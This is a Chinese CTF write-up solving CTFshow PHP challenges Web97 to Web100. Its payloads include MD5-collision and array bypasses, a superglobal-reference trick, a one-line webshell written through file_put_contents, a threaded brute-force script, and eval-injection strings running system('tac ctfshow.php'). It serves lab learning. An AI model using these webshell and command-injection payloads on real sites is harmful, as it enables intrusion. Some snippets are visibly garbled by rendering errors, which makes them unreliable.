当前位置: 首页 > news >正文

CTFshow系列——PHP特性Web97-

OK,今天晚上也是给大家带来一篇PHP特性的CTF题目。主要是昨天参加了第三届”陇剑杯“比赛,所以也是没有给大家及时的更新;
过几天就把这次比赛的Web题以及应急响应的两道题目给大家讲解一下。

文章目录

    • Web97
      • 代码分析
      • 方法一:
      • 方法二:
    • Web98(新题型)
      • 代码分析(重要)
      • 流程图
    • Web99
      • 代码分析
      • 网上WP
      • 方法二:时间竞争
    • Web100(新题型)
      • **代码分析**
      • **攻击思路**
      • 网上WP思路(本人菜鸡一个,唉)
    • 总结


Web97

话不多说,还是老样子分析代码:

<?phpinclude("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这里从代码我们可以看到需要我们用POST请求方式填入两个参数ab,并且这两个的md5值需要一样,才可以输出flag;

代码分析

  • if ($_POST['a'] != $_POST['b'])第一个条件。它使用 !=(非严格比较),要求 a 和 b 的值不相等;
  • 第二个条件:它使用 ===(严格比较),要求 a 和 b 经过 md5() 函数处理后的结果严格相等。

方法一:

这个时候,我们就要说到一个知识点了:MD5 碰撞(collision)攻击:

  • MD5 算法存在已知的漏洞,可以找到两个不同的输入字符串,它们经过 MD5 哈希后会产生完全相同的 32 位十六进制字符串。

所以,利用这个特性,我们可以寻找几个md5值相等,但是本身不一样的参数:

md5值相同的两个不同参数:a=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
b=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

所以我们构造的payload为:

在这里插入图片描述

# payload
a=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&&b=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

方法二:

  • 漏洞利用
    md5() 函数有一个特性:当它接收到一个数组时,会返回 null。
  1. md5(array()) 的结果是 null
  2. null === null 的结果是 true

因此,你可以构造两个不同的数组,它们的 MD5 散列值都是 null,从而满足 md5($_POST[‘a’]) === md5($_POST[‘b’]) 的条件。

  • Payload 构造
    为了满足 $_POST[‘a’] != $_POST[‘b’] 的条件,你需要提交两个不同的数组。

在 PHP 中,当通过 POST 方式提交 a[] 和 b[] 时,它们会被解析为两个不同的空数组 array()

所以payload可以为:

# payload
a[]=1&b[]=2

同样可以得到flag。


Web98(新题型)

Notice: Undefined index: flag in /var/www/html/index.php on line 15Notice: Undefined index: flag in /var/www/html/index.php on line 16Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17<?phpinclude("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>

根据页面的提示,我们知道flag的位置,但是HTTP_FLAG又是什么东西呢?

代码分析(重要)

这题目是一个典型的 PHP 超全局变量覆盖漏洞,需要你利用 $_GET 变量来控制程序的执行流程,最终读取 flag。

  1. $_GET?$_GET=&$_POST:'flag';

    • 这是一个三元运算符。

    • 问号前的 $_GET 相当于 isset($_GET)。如果 URL 中存在任何 GET 参数,这个条件就为真。

    • 如果条件为真,$_GET = &$_POST 会将 $_GET 变量引用到 $_POST 变量。这意味着,从这行代码之后,任何对 $_GET 的修改实际上都是在修改 $_POST,反之亦然。

    • 如果条件为假(URL 中没有任何 GET 参数),这行代码什么也不做。

  2. $_GET['flag']=='flag'?\$_GET=&$_COOKIE:'flag';

    • 这个三元运算符检查 $_GET[‘flag’] 是否等于字符串 flag
    • 如果条件为真,$_GET = &$_COOKIE 会将 $_GET 引用到 $_COOKIE
  • 关键点:由于第一步已经将 $_GET 引用到了 $_POST,所以这里的 $_GET[‘flag’] 实际上是在检查 $_POST[‘flag’] 的值。
  1. $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

    • 同样,这个三元运算符检查 $_GET[‘flag’] 的值。

    • 如果条件为真,KaTeX parse error: Expected 'EOF', got '&' at position 8: _GET = &̲_SERVER 会将 $_GET 引用到 $_SERVER

  • 关键点:由于第二步已经将 $_GET 引用到了 $_COOKIE,所以这里的 $_GET[‘flag’] 实际上是在检查 $_COOKIE[‘flag’] 的值。
  1. highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

    • 这是最后一行,也是最终的判断。它检查 $_GET[‘HTTP_FLAG’] 的值。

    • 如果 $_GET[‘HTTP_FLAG’] 等于 flag,就会执行 highlight_file($flag)

  • 最关键点:由于第三步已经将 $_GET 引用到了 $_SERVER,所以这里的 $_GET['HTTP_FLAG'] 实际上是在检查 $_SERVER['HTTP_FLAG'] 的值。

流程图

为了方便大家理解,给大家画了个流程图:
在这里插入图片描述
理论完成,开始实践:
在这里插入图片描述
甚至都不用抓包,flag直接就显示再屏幕上了;

Web99

<?phphighlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}?>

代码分析

老样子,先分析代码:

  1. highlight_file(__FILE__);: 显示当前 PHP 脚本的源代码。
  2. $allow = array();: 初始化一个空数组 $allow。
  3. for ($i=36; $i < 0x36d; $i++):
    • 这是一个循环,从 36 迭代到 0x36d(十进制 877)。

    • array_push($allow, rand(1,$i));: 在每次循环中,一个介于 1 和 i之间的随机数被添加到‘i 之间的随机数被添加到 `i之间的随机数被添加到allow` 数组中。

  4. if(isset($_GET['n']) && in_array($_GET['n'], $allow)):
    • 检查 URL 参数 n 是否存在,并且它的值是否在 $allow 数组中。
  5. file_put_contents($_GET['n'], $_POST['content']);:
    • 如果前面的条件都满足,程序会创建一个文件,文件名是 $allow 数组中的一个随机数,文件内容是 POST 参数 content

网上WP

之后的做法我也是按照网上WP进行操作(不过我问AI,好像还可以时间竞争,但没成功过)

第一步:先创建访问一个新文件2.php,然后POST传入一句话木马方便后续的操作:

在这里插入图片描述

第二步:GET传参改为url/2.php(注意不是url/?n=2.php),然后POST进行命令执行(命令执行不会?看我之前的文章即可)就可以了:

在这里插入图片描述

第三步:查看flag即可——> 查看源代码
在这里插入图片描述
在这里插入图片描述

方法二:时间竞争

说实话,我运行代码的时候没有成功过,各位可以试一试:

import requests
import threading# url换成自己的url
url = "https://bab65f25-7830-4402-a50f-f15e31f94aa8.challenge.ctf.show/"def exploit():for i in range(1, 878):  # 猜测 rand() 可能的值try:get_params = {'n': i}post_content = {'content': '<?php system("ls -al"); ?>'}# 发送请求response = requests.post(url, params=get_params, data=post_content, timeout=1)# 检查响应,看是否成功写入if "system" in response.text:  # 如果看到system这个关键词,说明写入成功print(f"File written successfully with number: {i}")print(response.text)except requests.exceptions.RequestException as e:# print(f"Error: {e}")pass# 创建多个线程来并行执行
threads = []
for _ in range(50):  # 启动50个线程来增加命中率t = threading.Thread(target=exploit)threads.append(t)t.start()for t in threads:t.join()

这个脚本会不断地发送请求,尝试所有可能的随机数。一旦命中,你的 Webshell 就会被写入文件,然后你可以通过访问那个文件名来执行命令。


Web100(新题型)

还是老样子,上代码:

<?phphighlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}}}?>

代码分析

  1. $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

    • 这行代码检查 v1v2v3 是否为数字。这里的 is_numeric() 函数有一个特性:它不仅会判断整数和浮点数,也会将只包含数字的字符串判断为 true
  2. if($v0)

    • 只有当 v1v2v3 都通过 is_numeric() 的检查时,代码才会进入这个条件块。
  3. if(!preg_match("/;/", $v2))

    • 这个过滤器检查 v2 中是否不包含分号 ;
  4. if(preg_match("/;/", $v3))

    • 这个过滤器检查 v3 中是否包含分号 ;
  5. eval("$v2('ctfshow')$v3");

    • 这是漏洞的核心。eval() 函数会执行其参数中的 PHP 代码。
    • 它的参数由三个部分组成:$v2 的值、硬编码的字符串 ('ctfshow'),以及 $v3 的值。

攻击思路

我们的目标是利用 eval() 函数执行一个可以读取 flag 的命令。为了实现这一点,需要构造 v1v2v3,使其满足所有过滤条件。

  1. 绕过 is_numeric()

    • PHP 的 is_numeric() 函数会将十六进制或科学计数法的字符串判断为数字。
    • 例如,is_numeric("0x123")is_numeric("1e3") 都返回 true
    • 你可以使用这些形式来绕过 is_numeric() 的检查,同时在 v2v3 中传递非数字代码。
  2. 满足正则表达式过滤

    • v2 不能包含分号 ;
    • v3 必须包含分号 ;
  3. 构造 eval() 参数

    • 需要让 eval("$v2('ctfshow')$v3") 形成一个有效的 PHP 函数调用。

网上WP思路(本人菜鸡一个,唉)

然后我尝试了一下自己的payload,报错失败。。

?v1=1&v2=system&v3=(ls);
  • 网上方法一
# payload
?v1=1&v2=system("cp+ctfshow.php+1.txt")?>&v3=;

在这里插入图片描述

因为v2,v3不需要是数字,and运算时v0已经计算完毕了
然后访问/1.txt
根据文件提示将0x2d替换成-得到flag

  • 方法二:

简单拼接:
三个参数 v1 ,v2 ,v3,其中v0 实际上只会去判断v1是否为数字 ,因此v1 = 1234 数字即可
拼接起来就是var_dump($ctfshow)/ (‘ctfshow’) / ; 可以执行
v2 也可以用其他显示输出的函数
v2=print_r($ctfshow)/&v3=/;

# payload
?v1=1234&&v2=print_r($ctfshow)/*&v3=*/;

在这里插入图片描述

  • 方法三:

payload为: ?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;

  • /&v3=/ 注释掉V3与(‘ctfshow’) 实际执行结果是v2的内容 先是system(“ls”)
    然后才是system(“tac ctfshow.php”)

在这里插入图片描述

运行后屏幕显示的结果:

} var dalaoA,dalaoA,dalaoA,dalaoB,$flag_is_c5ead3750x2d39510x2d46a50x2d966d0x2d015111cd21db; class ctfshow{ / # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 20200x2d090x2d21 22:11:52 # @Last Modified by: h1xa # @Date: 20200x2d090x2d21 21:31:23 # @Author: h1xa # 0x2d0x2d coding: utf0x2d8 0x2d*- /*


总结

学海无涯,还是太菜了。


文章转载自:

http://wuKjRwca.bswnf.cn
http://zLlgWl1I.bswnf.cn
http://7GJkm1MX.bswnf.cn
http://2X2tybbL.bswnf.cn
http://CSM6vuZ7.bswnf.cn
http://gUkyjE8f.bswnf.cn
http://BnqltnJI.bswnf.cn
http://xBnMZap7.bswnf.cn
http://XRFFaoj3.bswnf.cn
http://g4wfZoNk.bswnf.cn
http://eyMQOWVJ.bswnf.cn
http://t6RIC5ht.bswnf.cn
http://WrJfLqGJ.bswnf.cn
http://FVTaF7Fj.bswnf.cn
http://NMl32HuC.bswnf.cn
http://eMmAMGtY.bswnf.cn
http://0GbZpHD7.bswnf.cn
http://WZPCBwtH.bswnf.cn
http://LnjwaqIW.bswnf.cn
http://20VEG33E.bswnf.cn
http://tFwvG48p.bswnf.cn
http://MWZCqdYS.bswnf.cn
http://jzMb9Py8.bswnf.cn
http://uNQcWC3P.bswnf.cn
http://VgxhkJt6.bswnf.cn
http://xyVhYEAh.bswnf.cn
http://uM1dsJ9l.bswnf.cn
http://LwxrhYMR.bswnf.cn
http://8KQdTzgo.bswnf.cn
http://YOTbYvcV.bswnf.cn
http://www.dtcms.com/a/371694.html

相关文章:

  • Photoshop - Photoshop 创建图层蒙版
  • DevOps实战(3) - 使用Arbess+GitLab+Hadess实现Java项目自动化部署
  • Python从入门到精通_00_初识python
  • LabVIEW 与 PLC 通讯
  • 项目介绍:图像分类项目的最小可用骨架--代码细节讲解
  • 【.Net技术栈梳理】01-核心框架与运行时(CLR与GC)
  • 简述ajax、node.js、webpack、git
  • Java安全体系深度研究:技术演进与攻防实践
  • Drupal XSS漏洞复现:原理详解+环境搭建+渗透实践(CVE-2019-6341)
  • Mybatis常见问题
  • Python基础语法篇:布尔值是什么?True 和 False 的实际用途
  • FMI(Functional Mock-up Interface,功能模型接口)
  • macOS中设置环境变量的各文件及作用域
  • Python+DRVT 从外部调用 Revit:批量创建楼板
  • 课前准备--解码乳腺癌进展:单细胞基因组与转录组的联合分析
  • 机器学习中的损失函数是什么
  • P5019 [NOIP 2018 提高组] 铺设道路
  • 【 苍穹外卖 | Day2】
  • 简单的说一说前端开发语言React
  • 跨域解决方案——CORS学习了解
  • leetcode 1304. 和为零的 N 个不同整数 简单
  • LeetCode 面试经典 150 题:合并两个有序数组(双指针解法详解)
  • Nestjs框架: 基于策略的权限控制(ACL)与数据权限设计
  • Go语言实战案例-实现简易定时提醒程序
  • 如何在项目中使用 Claude 记忆库系统(二开场景指南)
  • Matlab Simulink中的一些记录
  • 在Word和WPS文字的表格中快速输入连续的星期、月、日
  • Linux 周期性用户作业计划:crontab
  • Flink TaskManager日志时间与实际时间有偏差
  • 综合案列(SQLpymysql)